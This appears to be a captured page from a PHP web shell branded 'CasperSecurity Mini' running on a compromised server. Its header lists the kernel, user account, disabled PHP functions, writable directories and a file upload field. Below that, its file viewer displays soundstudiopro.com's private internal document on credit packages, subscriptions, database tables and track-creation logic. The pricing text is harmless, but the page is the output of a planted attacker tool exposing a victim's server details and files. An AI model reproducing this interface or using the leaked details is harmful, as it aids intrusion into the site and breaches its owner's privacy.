T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/PRICING_SYSTEMS_EXPLAINED.md
# Pricing Systems Explained

## Overview

SoundStudioPro has **TWO different pricing systems** that work together:

### 1. **Credit Packages** (One-Time Purchases)
One-time purchases of credits that never expire (until used).

**Packages:**
- **Free**: 5 credits (free forever)
- **Starter**: 30 credits for $19.99 (one-time)
- **Pro**: 200 credits for $59 (one-time)
- **Premium**: 500 credits for $129 (one-time)

**How it works:**
- User buys credits → Credits added to account
- User creates track → 1 credit deducted
- Credits never expire (until used)
- Best for: Users who want to buy in bulk and use over time

**Purchase page:** `/credits.php`

---

### 2. **Subscriptions** (Monthly Recurring)
Monthly recurring subscriptions with monthly track limits.

**Plans:**
- **Essential**: $5/month for 5 tracks per month

**How it works:**
- User subscribes → $5 charged monthly
- User gets 5 tracks per month
- Limit resets on 1st of each month
- User can cancel anytime
- Best for: Users who want a small monthly allowance

**Purchase page:** `/subscribe_essential.php`

---

## Key Differences

| Feature | Credit Packages | Subscriptions |
|---------|----------------|---------------|
| **Payment** | One-time | Monthly recurring |
| **Credits/Tracks** | Fixed amount (30, 200, 500) | Monthly limit (5/month) |
| **Expiration** | Never (until used) | Resets monthly |
| **Best For** | Bulk users | Regular small users |
| **Flexibility** | Use all at once or over time | Must use within month |

---

## User Experience

### Homepage (`index.php`)
Shows both systems:
- **Essential** subscription (new)
- **Starter, Pro, Premium** credit packages

### Purchase Flow

**For Subscriptions:**
1. Click "Subscribe Now" on Essential plan
2. Goes to `/subscribe_essential.php`
3. Stripe Checkout for subscription
4. Webhook activates subscription
5. User can create 5 tracks/month

**For Credit Packages:**
1. Click "Get Started" on Starter/Pro/Premium
2. Goes to `/credits.php`
3. Add to cart and checkout
4. Credits added to account
5. User can create tracks (1 credit = 1 track)

---

## Database Tables

### Credit System
- `users.credits` - Current credit balance
- `credit_purchases` - Purchase history
- `credit_transactions` - Credit usage log

### Subscription System
- `user_subscriptions` - Active subscriptions
- `monthly_track_usage` - Monthly track limits
- `users.plan` - User's current plan (free, essential, starter, pro, premium)

---

## Track Creation Logic

When user creates a track (`create_music.php`):

1. **Check if user has subscription:**
   - If `plan = 'essential'` → Check monthly limit
   - If limit reached → Block creation
   - If limit OK → Allow, increment monthly usage

2. **If no subscription:**
   - Check credit balance
   - If credits < 1 → Block creation
   - If credits OK → Allow, deduct 1 credit

---

## Future Plans

### Potential Subscription Plans:
- **Essential**: $5/month - 5 tracks (✅ Implemented)
- **Starter Subscription**: $10/month - 15 tracks (Future)
- **Pro Subscription**: $25/month - 50 tracks (Future)

### Potential Credit Packages:
- Keep existing one-time packages
- Maybe add larger bulk packages

---

## Admin Panel

- **Subscriptions Tab**: View all active subscriptions
- **Purchases Tab**: View all credit purchases
- **Users Tab**: See user's plan and credits

---

## Summary

**Two systems, one platform:**
- **Credits** = One-time bulk purchases (flexible usage)
- **Subscriptions** = Monthly recurring (predictable monthly cost)

Users can have BOTH:
- A subscription (for monthly allowance)
- Plus credits (for extra tracks when needed)

The system automatically uses subscription first, then credits.


CasperSecurity Mini